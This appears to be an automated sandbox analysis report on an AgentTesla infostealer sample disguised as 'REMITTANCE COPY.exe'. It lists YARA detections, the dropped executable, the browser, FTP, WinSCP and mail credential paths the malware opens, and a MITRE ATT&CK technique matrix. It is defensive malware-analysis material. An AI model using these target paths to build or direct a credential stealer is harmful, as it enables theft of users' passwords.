Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Queries volume information: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3a756f8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2076423787.0000000002FC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3251502190.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2076423787.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3251502190.0000000002F5E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2076423787.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3251502190.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REMITTANCE COPY.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CNqCubHKvlzbGo.exe PID: 5988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 736, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3a756f8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2076423787.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3251502190.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REMITTANCE COPY.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CNqCubHKvlzbGo.exe PID: 5988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 736, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3a756f8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3d01928.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3ab0f18.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.CNqCubHKvlzbGo.exe.3cc6108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2076423787.0000000002FC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3251502190.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2076423787.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3251502190.0000000002F5E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2076423787.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3251502190.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REMITTANCE COPY.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CNqCubHKvlzbGo.exe PID: 5988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 736, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	311 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	521 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
